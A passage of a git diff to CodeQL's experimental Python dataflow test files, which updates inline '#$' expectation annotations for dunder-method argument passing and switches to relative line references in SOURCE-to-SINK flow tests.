SINK2(other) #$ arg2="arg2, l:757 -> other" - SINK1(self) #$ arg1="SSA variable with_mod, l:755 -> self" + SINK2(other) + SINK1(self) OK() return self def test_mod(): - with_mod = With_mod() + with_mod = With_mod() #$ arg1="SSA variable with_mod" func=With_mod.__mod__ arg2 = with_mod - with_mod % arg2 + with_mod % arg2 #$ arg2="arg2" func=With_mod.__mod__ # object.__divmod__(self, other) class With_divmod: def __divmod__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:771 -> other" - SINK1(self) #$ MISSING: arg1="with_divmod, l:770 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_divmod(): - with_divmod = With_divmod() - arg2 = With_divmod + with_divmod = With_divmod() #$ MISSING: arg1="SSA variable with_divmod" func=With_divmod.__divmod__ + arg2 = With_divmod #$ MISSING: arg2="arg2" func=With_divmod.__divmod__ divmod(with_divmod, arg2) # object.__pow__(self, other[, modulo]) class With_pow: def __pow__(self, other): - SINK2(other) #$ arg2="arg2, l:793 -> other" - SINK1(self) #$ arg1="SSA variable with_pow, l:791 -> self" + SINK2(other) + SINK1(self) OK() return self def test_pow(): - with_pow = With_pow() + with_pow = With_pow() #$ MISSING: arg1="SSA variable with_pow" func=With_pow.__pow__ arg2 = with_pow - pow(with_pow, arg2) # Call not found + pow(with_pow, arg2) #$ MISSING: arg2="arg2" func=With_pow.__pow__ def test_pow_op(): - with_pow = With_pow() + with_pow = With_pow() #$ arg1="SSA variable with_pow" func=With_pow.__pow__ arg2 = with_pow - with_pow ** arg2 + with_pow ** arg2 #$ arg2="arg2" func=With_pow.__pow__ # object.__lshift__(self, other) class With_lshift: def __lshift__(self, other): - SINK2(other) #$ arg2="arg2, l:808 -> other" - SINK1(self) #$ arg1="SSA variable with_lshift, l:806 -> self" + SINK2(other) + SINK1(self) OK() return self def test_lshift(): - with_lshift = With_lshift() + with_lshift = With_lshift() #$ arg1="SSA variable with_lshift" func=With_lshift.__lshift__ arg2 = with_lshift - with_lshift << arg2 + with_lshift << arg2 #$ arg2="arg2" func=With_lshift.__lshift__ # object.__rshift__(self, other) class With_rshift: def __rshift__(self, other): - SINK2(other) #$ arg2="arg2, l:823 -> other" - SINK1(self) #$ arg1="SSA variable with_rshift, l:821 -> self" + SINK2(other) + SINK1(self) OK() return self def test_rshift(): - with_rshift = With_rshift() + with_rshift = With_rshift() #$ arg1="SSA variable with_rshift" func=With_rshift.__rshift__ arg2 = with_rshift - with_rshift >> arg2 + with_rshift >> arg2 #$ arg2="arg2" func=With_rshift.__rshift__ # object.__and__(self, other) class With_and: def __and__(self, other): - SINK2(other) #$ arg2="arg2, l:838 -> other" - SINK1(self) #$ arg1="SSA variable with_and, l:836 -> self" + SINK2(other) + SINK1(self) OK() return self def test_and(): - with_and = With_and() + with_and = With_and() #$ arg1="SSA variable with_and" func=With_and.__and__ arg2 = with_and - with_and & arg2 + with_and & arg2 #$ arg2="arg2" func=With_and.__and__ # object.__xor__(self, other) class With_xor: def __xor__(self, other): - SINK2(other) #$ arg2="arg2, l:853 -> other" - SINK1(self) #$ arg1="SSA variable with_xor, l:851 -> self" + SINK2(other) + SINK1(self) OK() return self def test_xor(): - with_xor = With_xor() + with_xor = With_xor() #$ arg1="SSA variable with_xor" func=With_xor.__xor__ arg2 = with_xor - with_xor ^ arg2 + with_xor ^ arg2 #$ arg2="arg2" func=With_xor.__xor__ # object.__or__(self, other) class With_or: def __or__(self, other): - SINK2(other) #$ arg2="arg2, l:868 -> other" - SINK1(self) #$ arg1="SSA variable with_or, l:866 -> self" + SINK2(other) + SINK1(self) OK() return self def test_or(): - with_or = With_or() + with_or = With_or() #$ arg1="SSA variable with_or" func=With_or.__or__ arg2 = with_or - with_or | arg2 + with_or | arg2 #$ arg2="arg2" func=With_or.__or__ # object.__radd__(self, other) class With_radd: def __radd__(self, other): SINK2(other) #$ MISSING: arg2="arg2, l:882 -> other" - SINK1(self) #$ MISSING: arg1="with_radd, l:881 -> self" + SINK1(self) OK() # Call not found return self def test_radd(): - with_radd = With_radd() - arg2 = "" + with_radd = With_radd() #$ MISSING: arg1="SSA variable with_radd" func=With_radd.__radd__ + arg2 = "" #$ MISSING: arg2="arg2" func=With_radd.__radd__ arg2 + with_radd # object.__rsub__(self, other) class With_rsub: def __rsub__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:897 -> other" - SINK1(self) #$ MISSING: arg1="with_rsub, l:896 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_rsub(): - with_rsub = With_rsub() - arg2 = "" + with_rsub = With_rsub() #$ MISSING: arg1="SSA variable with_rsub" func=With_rsub.__rsub__ + arg2 = "" #$ MISSING: arg2="arg2" func=With_rsub.__rsub__ arg2 - with_rsub # object.__rmul__(self, other) class With_rmul: def __rmul__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:912 -> other" - SINK1(self) #$ MISSING: arg1="with_rmul, l:911 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_rmul(): - with_rmul = With_rmul() - arg2 = "" + with_rmul = With_rmul() #$ MISSING: arg1="SSA variable with_rmul" func=With_rmul.__rmul__ + arg2 = "" #$ MISSING: arg2="arg2" func=With_rmul.__rmul__ arg2 * with_rmul # object.__rmatmul__(self, other) class With_rmatmul: def __rmatmul__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:927 -> other" - SINK1(self) #$ MISSING: arg1="with_rmatmul, l:926 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_rmatmul(): - with_rmatmul = With_rmatmul() - arg2 = "" + with_rmatmul = With_rmatmul() #$ MISSING: arg1="SSA variable with_rmatmul" func=With_rmatmul.__rmatmul__ + arg2 = "" #$ MISSING: arg2="arg2" func=With_rmatmul.__rmatmul__ arg2 @ with_rmatmul # object.__rtruediv__(self, other) class With_rtruediv: def __rtruediv__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:942 -> other" - SINK1(self) #$ MISSING: arg1="with_rtruediv, l:941 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_rtruediv(): - with_rtruediv = With_rtruediv() - arg2 = "" + with_rtruediv = With_rtruediv() #$ MISSING: arg1="SSA variable with_rtruediv" func=With_rtruediv.__rtruediv__ + arg2 = "" #$ MISSING: arg2="arg2" func=With_rtruediv.__rtruediv__ arg2 / with_rtruediv # object.__rfloordiv__(self, other) class With_rfloordiv: def __rfloordiv__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:957 -> other" - SINK1(self) #$ MISSING: arg1="with_rfloordiv, l:956 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_rfloordiv(): - with_rfloordiv = With_rfloordiv() - arg2 = "" + with_rfloordiv = With_rfloordiv() #$ MISSING: arg1="SSA variable with_rfloordiv" func=With_rfloordiv.__rfloordiv__ + arg2 = "" #$ MISSING: arg2="arg2" func=With_rfloordiv.__rfloordiv__ arg2 // with_rfloordiv # object.__rmod__(self, other) class With_rmod: def __rmod__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:972 -> other" - SINK1(self) #$ MISSING: arg1="with_rmod, l:971 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_rmod(): - with_rmod = With_rmod() - arg2 = {} + with_rmod = With_rmod() #$ MISSING: arg1="SSA variable with_rmod" func=With_rmod.__rmod__ + arg2 = {} #$ MISSING: arg2="arg2" func=With_rmod.__rmod__ arg2 % with_rmod # object.__rdivmod__(self, other) class With_rdivmod: def __rdivmod__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:987 -> other" - SINK1(self) #$ MISSING: arg1="with_rdivmod, l:986 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_rdivmod(): - with_rdivmod = With_rdivmod() - arg2 = "" + with_rdivmod = With_rdivmod() #$ MISSING: arg1="SSA variable with_rdivmod" func=With_rdivmod.__rdivmod__ + arg2 = "" #$ MISSING: arg2="arg2" func=With_rdivmod.__rdivmod__ divmod(arg2, with_rdivmod) # object.__rpow__(self, other[, modulo]) class With_rpow: def __rpow__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:1002 -> other" arg2="arg2, l:1008 -> other" - SINK1(self) #$ MISSING: arg1="with_rpow, l:1001 -> self" arg1="with_rpow, l:1007 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_rpow(): - with_rpow = With_rpow() - arg2 = "" + with_rpow = With_rpow() #$ MISSING: arg1="SSA variable with_rpow" func=With_rpow.__rpow__ + arg2 = "" #$ MISSING: arg2="arg2" func=With_rpow.__rpow__ pow(arg2, with_rpow) def test_rpow_op(): - with_rpow = With_rpow() - arg2 = "" + with_rpow = With_rpow() #$ MISSING: arg1="SSA variable with_rpow" func=With_rpow.__rpow__ + arg2 = "" #$ MISSING: arg2="arg2" func=With_rpow.__rpow__ arg2 ** with_rpow # object.__rlshift__(self, other) class With_rlshift: def __rlshift__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:1023 -> other" - SINK1(self) #$ MISSING: arg1="with_rlshift, l:1022 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_rlshift(): - with_rlshift = With_rlshift() - arg2 = "" + with_rlshift = With_rlshift() #$ MISSING: arg1="SSA variable with_rlshift" func=With_rlshift.__rlshift__ + arg2 = "" #$ MISSING: arg2="arg2" func=With_rlshift.__rlshift__ arg2 << with_rlshift # object.__rrshift__(self, other) class With_rrshift: def __rrshift__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:1038 -> other" - SINK1(self) #$ MISSING: arg1="with_rrshift, l:1037 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_rrshift(): - with_rrshift = With_rrshift() - arg2 = "" + with_rrshift = With_rrshift() #$ MISSING: arg1="SSA variable with_rrshift" func=With_rrshift.__rrshift__ + arg2 = "" #$ MISSING: arg2="arg2" func=With_rrshift.__rrshift__ arg2 >> with_rrshift # object.__rand__(self, other) class With_rand: def __rand__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:1053 -> other" - SINK1(self) #$ MISSING: arg1="with_rand, l:1052 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_rand(): - with_rand = With_rand() - arg2 = "" + with_rand = With_rand() #$ MISSING: arg1="SSA variable with_rand" func=With_rand.__rand__ + arg2 = "" #$ MISSING: arg2="arg2" func=With_rand.__rand__ arg2 & with_rand # object.__rxor__(self, other) class With_rxor: def __rxor__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:1068 -> other" - SINK1(self) #$ MISSING: arg1="with_rxor, l:1067 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_rxor(): - with_rxor = With_rxor() - arg2 = "" + with_rxor = With_rxor() #$ MISSING: arg1="SSA variable with_rxor" func=With_rxor.__rxor__ + arg2 = "" #$ MISSING: arg2="arg2" func=With_rxor.__rxor__ arg2 ^ with_rxor # object.__ror__(self, other) class With_ror: def __ror__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:1083 -> other" - SINK1(self) #$ MISSING: arg1="with_ror, l:1082 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_ror(): - with_ror = With_ror() - arg2 = "" + with_ror = With_ror() #$ MISSING: arg1="SSA variable with_ror" func=With_ror.__ror__ + arg2 = "" #$ MISSING: arg2="arg2" func=With_ror.__ror__ arg2 | with_ror # object.__iadd__(self, other) class With_iadd: def __iadd__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:1098 -> other" - SINK1(self) #$ MISSING: arg1="with_iadd, l:1097 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_iadd(): - with_iadd = With_iadd() - arg2 = with_iadd + with_iadd = With_iadd() #$ MISSING: arg1="SSA variable with_iadd" func=With_iadd.__iadd__ + arg2 = with_iadd #$ MISSING: arg2="arg2" func=With_iadd.__iadd__ with_iadd += arg2 # object.__isub__(self, other) class With_isub: def __isub__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:1113 -> other" - SINK1(self) #$ MISSING: arg1="with_isub, l:1112 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_isub(): - with_isub = With_isub() - arg2 = with_isub + with_isub = With_isub() #$ MISSING: arg1="SSA variable with_isub" func=With_isub.__isub__ + arg2 = with_isub #$ MISSING: arg2="arg2" func=With_isub.__isub__ with_isub -= arg2 # object.__imul__(self, other) class With_imul: def __imul__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:1128 -> other" - SINK1(self) #$ MISSING: arg1="with_imul, l:1127 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_imul(): - with_imul = With_imul() - arg2 = with_imul + with_imul = With_imul() #$ MISSING: arg1="SSA variable with_imul" func=With_imul.__imul__ + arg2 = with_imul #$ MISSING: arg2="arg2" func=With_imul.__imul__ with_imul *= arg2 # object.__imatmul__(self, other) class With_imatmul: def __imatmul__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:1143 -> other" - SINK1(self) #$ MISSING: arg1="with_imatmul, l:1142 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_imatmul(): - with_imatmul = With_imatmul() - arg2 = with_imatmul + with_imatmul = With_imatmul() #$ MISSING: arg1="SSA variable with_imatmul" func=With_imatmul.__imatmul__ + arg2 = with_imatmul #$ MISSING: arg2="arg2" func=With_imatmul.__imatmul__ with_imatmul @= arg2 # object.__itruediv__(self, other) class With_itruediv: def __itruediv__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:1158 -> other" - SINK1(self) #$ MISSING: arg1="with_itruediv, l:1157 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_itruediv(): - with_itruediv = With_itruediv() - arg2 = with_itruediv + with_itruediv = With_itruediv() #$ MISSING: arg1="SSA variable with_itruediv" func=With_itruediv.__itruediv__ + arg2 = with_itruediv #$ MISSING: arg2="arg2" func=With_itruediv.__itruediv__ with_itruediv /= arg2 # object.__ifloordiv__(self, other) class With_ifloordiv: def __ifloordiv__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:1173 -> other" - SINK1(self) #$ MISSING: arg1="with_ifloordiv, l:172 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_ifloordiv(): - with_ifloordiv = With_ifloordiv() - arg2 = with_ifloordiv + with_ifloordiv = With_ifloordiv() #$ MISSING: arg1="SSA variable with_ifloordiv" func=With_ifloordiv.__ifloordiv__ + arg2 = with_ifloordiv #$ MISSING: arg2="arg2" func=With_ifloordiv.__ifloordiv__ with_ifloordiv //= arg2 # object.__imod__(self, other) class With_imod: def __imod__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:1188 -> other" - SINK1(self) #$ MISSING: arg1="with_imod, l:1187 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_imod(): - with_imod = With_imod() - arg2 = with_imod + with_imod = With_imod() #$ MISSING: arg1="SSA variable with_imod" func=With_imod.__imod__ + arg2 = with_imod #$ MISSING: arg2="arg2" func=With_imod.__imod__ with_imod %= arg2 # object.__ipow__(self, other[, modulo]) class With_ipow: def __ipow__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:1203 -> other" - SINK1(self) #$ MISSING: arg1="with_ipow, l:1202 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_ipow(): - with_ipow = With_ipow() - arg2 = with_ipow + with_ipow = With_ipow() #$ MISSING: arg1="SSA variable with_ipow" func=With_ipow.__ipow__ + arg2 = with_ipow #$ MISSING: arg2="arg2" func=With_ipow.__ipow__ with_ipow **= arg2 # object.__ilshift__(self, other) class With_ilshift: def __ilshift__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:1218 -> other" - SINK1(self) #$ MISSING: arg1="with_ilshift, l:1217 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_ilshift(): - with_ilshift = With_ilshift() - arg2 = with_ilshift + with_ilshift = With_ilshift() #$ MISSING: arg1="SSA variable with_ilshift" func=With_ilshift.__ilshift__ + arg2 = with_ilshift #$ MISSING: arg2="arg2" func=With_ilshift.__ilshift__ with_ilshift <<= arg2 # object.__irshift__(self, other) class With_irshift: def __irshift__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:1233 -> other" - SINK1(self) #$ MISSING: arg1="with_irshift, l:1232 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_irshift(): - with_irshift = With_irshift() - arg2 = with_irshift + with_irshift = With_irshift() #$ MISSING: arg1="SSA variable with_irshift" func=With_irshift.__irshift__ + arg2 = with_irshift #$ MISSING: arg2="arg2" func=With_irshift.__irshift__ with_irshift >>= arg2 # object.__iand__(self, other) class With_iand: def __iand__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:1248 -> other" - SINK1(self) #$ MISSING: arg1="with_iand, l:1247 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_iand(): - with_iand = With_iand() - arg2 = with_iand + with_iand = With_iand() #$ MISSING: arg1="SSA variable with_iand" func=With_iand.__iand__ + arg2 = with_iand #$ MISSING: arg2="arg2" func=With_iand.__iand__ with_iand &= arg2 # object.__ixor__(self, other) class With_ixor: def __ixor__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:1263 -> other" - SINK1(self) #$ MISSING: arg1="with_ixor, l:1262 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_ixor(): - with_ixor = With_ixor() - arg2 = with_ixor + with_ixor = With_ixor() #$ MISSING: arg1="SSA variable with_ixor" func=With_ixor.__ixor__ + arg2 = with_ixor #$ MISSING: arg2="arg2" func=With_ixor.__ixor__ with_ixor ^= arg2 # object.__ior__(self, other) class With_ior: def __ior__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:1278 -> other" - SINK1(self) #$ MISSING: arg1="with_ior, l:1277 -> self" + SINK2(other) + SINK1(self) OK() # Call not found return self def test_ior(): - with_ior = With_ior() - arg2 = with_ior + with_ior = With_ior() #$ MISSING: arg1="SSA variable with_ior" func=With_ior.__ior__ + arg2 = with_ior #$ MISSING: arg2="arg2" func=With_ior.__ior__ with_ior |= arg2 # object.__neg__(self) class With_neg: def __neg__(self): - SINK1(self) #$ MISSING: arg1="with_neg, l:1291 -> self" + SINK1(self) OK() # Call not found return self def test_neg(): - with_neg = With_neg() + with_neg = With_neg() #$ MISSING: arg1="SSA variable with_neg" func=With_neg.__neg__ -with_neg # object.__pos__(self) class With_pos: def __pos__(self): - SINK1(self) #$ MISSING: arg1="with_pos, l:1303 -> self" + SINK1(self) OK() # Call not found return self def test_pos(): - with_pos = With_pos() + with_pos = With_pos() #$ MISSING: arg1="SSA variable with_pos" func=With_pos.__pos__ +with_pos # object.__abs__(self) class With_abs: def __abs__(self): - SINK1(self) #$ MISSING: arg1="with_abs, l:1317 -> self" + SINK1(self) OK() # Call not found return self def test_abs(): - with_abs = With_abs() + with_abs = With_abs() #$ MISSING: arg1="SSA variable with_abs" func=With_abs.__abs__ abs(with_abs) # object.__invert__(self) class With_invert: def __invert__(self): - SINK1(self) #$ MISSING: arg1="with_invert, l:1330 -> self" + SINK1(self) OK() # Call not found return self def test_invert(): - with_invert = With_invert() + with_invert = With_invert() #$ MISSING: arg1="SSA variable with_invert" func=With_invert.__invert__ ~with_invert # object.__complex__(self) class With_complex: def __complex__(self): - SINK1(self) #$ MISSING: arg1="with_complex, l:1343 -> self" + SINK1(self) OK() # Call not found return 0j def test_complex(): - with_complex = With_complex() + with_complex = With_complex() #$ MISSING: arg1="SSA variable with_complex" func=With_complex.__complex__ complex(with_complex) # object.__int__(self) class With_int: def __int__(self): - SINK1(self) #$ MISSING: arg1="with_int, l:1356 -> self" + SINK1(self) OK() # Call not found return 0 def test_int(): - with_int = With_int() + with_int = With_int() #$ MISSING: arg1="SSA variable with_int" func=With_int.__int__ int(with_int) # object.__float__(self) class With_float: def __float__(self): - SINK1(self) #$ MISSING: arg1="with_float, l:1369 -> self" + SINK1(self) OK() # Call not found return 0.0 def test_float(): - with_float = With_float() + with_float = With_float() #$ MISSING: arg1="SSA variable with_float" func=With_float.__float__ float(with_float) # object.__index__(self) class With_index: def __index__(self): - SINK1(self) #$ MISSING: arg1="with_index, l:1384 -> self" arg1="with_index, l:1389 -> self" arg1="with_index, l:1394 -> self" arg1="with_index, l:1399 -> self" arg1="with_index, l:1404 -> self" arg1="with_index, l:1409 -> self" arg1="with_index, l:1414 -> self" arg1="with_index, l:1419 -> self" + SINK1(self) OK() # Call not found return 0 @@ -1381,68 +1381,68 @@ class With_index: def test_index(): import operator - with_index = With_index() + with_index = With_index() #$ MISSING: arg1="SSA variable with_index" func=With_index.__index__ operator.index(with_index) def test_index_slicing(): - with_index = With_index() + with_index = With_index() #$ MISSING: arg1="SSA variable with_index" func=With_index.__index__ [0][with_index:1] def test_index_bin(): - with_index = With_index() + with_index = With_index() #$ MISSING: arg1="SSA variable with_index" func=With_index.__index__ bin(with_index) def test_index_hex(): - with_index = With_index() + with_index = With_index() #$ MISSING: arg1="SSA variable with_index" func=With_index.__index__ hex(with_index) def test_index_oct(): - with_index = With_index() + with_index = With_index() #$ MISSING: arg1="SSA variable with_index" func=With_index.__index__ oct(with_index) def test_index_int(): - with_index = With_index() + with_index = With_index() #$ MISSING: arg1="SSA variable with_index" func=With_index.__index__ int(with_index) def test_index_float(): - with_index = With_index() + with_index = With_index() #$ MISSING: arg1="SSA variable with_index" func=With_index.__index__ float(with_index) def test_index_complex(): - with_index = With_index() + with_index = With_index() #$ MISSING: arg1="SSA variable with_index" func=With_index.__index__ complex(with_index) # object.__round__(self[, ndigits]) class With_round: def __round__(self): - SINK1(self) #$ MISSING: arg1="with_round, l:1432 -> self" + SINK1(self) OK() # Call not found return 0 def test_round(): - with_round = With_round() + with_round = With_round() #$ MISSING: arg1="SSA variable with_round" func=With_round.__round__ round(with_round) # object.__trunc__(self) class With_trunc: def __trunc__(self): - SINK1(self) #$ MISSING: arg1="with_trunc, l:1445 -> self" + SINK1(self) OK() # Call not found return 0 def test_trunc(): - with_trunc = With_trunc() + with_trunc = With_trunc() #$ MISSING: arg1="SSA variable with_trunc" func=With_trunc.__trunc__ import math math.trunc(with_trunc) @@ -1451,13 +1451,13 @@ def test_trunc(): # object.__floor__(self) class With_floor: def __floor__(self): - SINK1(self) #$ MISSING: arg1="with_floor, l:1460 -> self" + SINK1(self) OK() # Call not found return 0 def test_floor(): - with_floor = With_floor() + with_floor = With_floor() #$ MISSING: arg1="SSA variable with_floor" func=With_floor.__floor__ import math math.floor(with_floor) @@ -1466,13 +1466,13 @@ def test_floor(): # object.__ceil__(self) class With_ceil: def __ceil__(self): - SINK1(self) #$ MISSING: arg1="with_ceil, l:147 -> self" + SINK1(self) OK() # Call not found return 0 def test_ceil(): - with_ceil = With_ceil() + with_ceil = With_ceil() #$ MISSING: arg1="SSA variable with_ceil" func=With_ceil.__ceil__ import math math.ceil(with_ceil) @@ -1482,7 +1482,7 @@ def test_ceil(): # object.__enter__(self) class With_enter: def __enter__(self): - SINK1(self) #$ MISSING: arg1=".0, l:1494 -> self" + SINK1(self) OK() # Call not found return @@ -1504,7 +1504,7 @@ class With_exit: SINK4(traceback) # Flow not tested SINK3(exc_value) # Flow not tested SINK2(exc_type) # Flow not tested - SINK1(self) #$ MISSING: arg1=".0, l:1513 -> self" + SINK1(self) OK() # Call not found return @@ -1519,13 +1519,13 @@ def test_exit(): # object.__await__(self) class With_await: def __await__(self): - SINK1(self) #$ MISSING: arg1="with_await, l:1528 -> self" + SINK1(self) OK() # Call not found return (yield from asyncio.coroutine(lambda: "")()) async def atest_await(): - with_await = With_await() + with_await = With_await() #$ MISSING: arg1="SSA variable with_await" func=With_await.__await__ await (with_await) @@ -1538,7 +1538,7 @@ async def atest_await(): # object.__aiter__(self) class With_aiter: def __aiter__(self): - SINK1(self) #$ MISSING: arg1="with_aiter, l:1550 -> self" + SINK1(self) OK() # Call not found return self @@ -1547,7 +1547,7 @@ class With_aiter: async def atest_aiter(): - with_aiter = With_aiter() + with_aiter = With_aiter() #$ MISSING: arg1="SSA variable with_aiter" func=With_aiter.__aiter__ async for x in with_aiter: pass @@ -1558,13 +1558,13 @@ class With_anext: return self async def __anext__(self): - SINK1(self) #$ MISSING: arg1="with_anext, l:1567 -> self" + SINK1(self) OK() # Call not found raise StopAsyncIteration async def atest_anext(): - with_anext = With_anext() + with_anext = With_anext() #$ MISSING: arg1="SSA variable with_anext" func=With_anext.__anext__ async for x in with_anext: pass @@ -1573,7 +1573,7 @@ async def atest_anext(): # object.__aenter__(self) class With_aenter: async def __aenter__(self): - SINK1(self) #$ MISSING: arg1="with_aenter, l:1584 -> self" + SINK1(self) OK() # Call not found async def __aexit__(self, exc_type, exc_value, traceback): @@ -1581,7 +1581,7 @@ class With_aenter: async def atest_aenter(): - with_aenter = With_aenter() + with_aenter = With_aenter() #$ MISSING: arg1="SSA variable with_aenter" func=With_aenter.__aenter__ async with with_aenter: pass @@ -1595,11 +1595,11 @@ class With_aexit: SINK4(traceback) # Flow not tested SINK3(exc_value) # Flow not tested SINK2(exc_type) # Flow not tested - SINK1(self) #$ MISSING: arg1="with_aexit, l:1603 -> self" + SINK1(self) OK() # Call not found async def atest_aexit(): - with_aexit = With_aexit() + with_aexit = With_aexit() #$ MISSING: arg1="SSA variable with_aexit" func=With_aexit.__aexit__ async with with_aexit: pass diff --git a/python/ql/test/experimental/dataflow/coverage/datamodel.py b/python/ql/test/experimental/dataflow/coverage/datamodel.py index 3f11593dbd1..6c20ed60755 100644 --- a/python/ql/test/experimental/dataflow/coverage/datamodel.py +++ b/python/ql/test/experimental/dataflow/coverage/datamodel.py @@ -153,7 +153,7 @@ class Customized: # testing __new__ and __init__ customized = Customized() -SINK(Customized.a) +SINK(Customized.a) #$ MISSING:flow="SOURCE, l:-8 -> customized.a" SINK_F(Customized.b) -SINK(customized.a) -SINK(customized.b) #$ flow="SOURCE, l:152 -> customized.b" +SINK(customized.a) #$ MISSING:flow="SOURCE, l:-10 -> customized.a" +SINK(customized.b) #$ flow="SOURCE, l:-7 -> customized.b" diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index 2a1f7dca58c..eb33273cd4e 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -41,7 +41,7 @@ def SINK_F(x): def test_tuple_with_local_flow(): x = (NONSOURCE, SOURCE) y = x[1] - SINK(y) #$ flow="SOURCE, l:42 -> y" + SINK(y) #$ flow="SOURCE, l:-2 -> y" def test_tuple_negative(): @@ -53,45 +53,45 @@ def test_tuple_negative(): # 6.2.1. Identifiers (Names) def test_names(): x = SOURCE - SINK(x) #$ flow="SOURCE, l:55 -> x" + SINK(x) #$ flow="SOURCE, l:-1 -> x" # 6.2.2. Literals def test_string_literal(): x = "source" - SINK(x) #$ flow="'source', l:61 -> x" + SINK(x) #$ flow="'source', l:-1 -> x" def test_bytes_literal(): x = b"source" - SINK(x) #$ flow="b'source', l:66 -> x" + SINK(x) #$ flow="b'source', l:-1 -> x" def test_integer_literal(): x = 42 - SINK(x) #$ flow="42, l:71 -> x" + SINK(x) #$ flow="42, l:-1 -> x" def test_floatnumber_literal(): x = 42.0 - SINK(x) #$ flow="42.0, l:76 -> x" + SINK(x) #$ flow="42.0, l:-1 -> x" def test_imagnumber_literal(): x = 42j - SINK(x) #$ MISSING:flow="42j, l:81 -> x" + SINK(x) #$ MISSING:flow="42j, l:-1 -> x" # 6.2.3. Parenthesized forms def test_parenthesized_form(): x = (SOURCE) - SINK(x) #$ flow="SOURCE, l:87 -> x" + SINK(x) #$ flow="SOURCE, l:-1 -> x" # 6.2.5. List displays def test_list_display(): x = [SOURCE] - SINK(x[0]) #$ flow="SOURCE, l:93 -> x[0]" + SINK(x[0]) #$ flow="SOURCE, l:-1 -> x[0]" def test_list_display_negative(): @@ -101,103 +101,103 @@ def test_list_display_negative(): def test_list_comprehension(): x = [SOURCE for y in [NONSOURCE]] - SINK(x[0]) #$ flow="SOURCE, l:103 -> x[0]" + SINK(x[0]) #$ flow="SOURCE, l:-1 -> x[0]" def test_list_comprehension_flow(): x = [y for y in [SOURCE]] - SINK(x[0]) #$ flow="SOURCE, l:108 -> x[0]" + SINK(x[0]) #$ flow="SOURCE, l:-1 -> x[0]" def test_list_comprehension_inflow(): l = [SOURCE] x = [y for y in l] - SINK(x[0]) #$ flow="SOURCE, l:113 -> x[0]" + SINK(x[0]) #$ flow="SOURCE, l:-2 -> x[0]" def test_nested_list_display(): x = [*[SOURCE]] - SINK(x[0]) #$ MISSING:flow="SOURCE, l:119 -> x[0]" + SINK(x[0]) #$ MISSING:flow="SOURCE, l:-1 -> x[0]" # 6.2.6. Set displays def test_set_display(): x = {SOURCE} - SINK(x.pop()) #$ flow="SOURCE, l:125 -> x.pop()" + SINK(x.pop()) #$ flow="SOURCE, l:-1 -> x.pop()" def test_set_comprehension(): x = {SOURCE for y in [NONSOURCE]} - SINK(x.pop()) #$ flow="SOURCE, l:130 -> x.pop()" + SINK(x.pop()) #$ flow="SOURCE, l:-1 -> x.pop()" def test_set_comprehension_flow(): x = {y for y in [SOURCE]} - SINK(x.pop()) #$ flow="SOURCE, l:135 -> x.pop()" + SINK(x.pop()) #$ flow="SOURCE, l:-1 -> x.pop()" def test_set_comprehension_inflow(): l = {SOURCE} x = {y for y in l} - SINK(x.pop()) #$ flow="SOURCE, l:140 -> x.pop()" + SINK(x.pop()) #$ flow="SOURCE, l:-2 -> x.pop()" def test_nested_set_display(): x = {*{SOURCE}} - SINK(x.pop()) #$ MISSING:flow="SOURCE, l:146 -> x.pop()" + SINK(x.pop()) #$ MISSING:flow="SOURCE, l:-1 -> x.pop()" # 6.2.7. Dictionary displays def 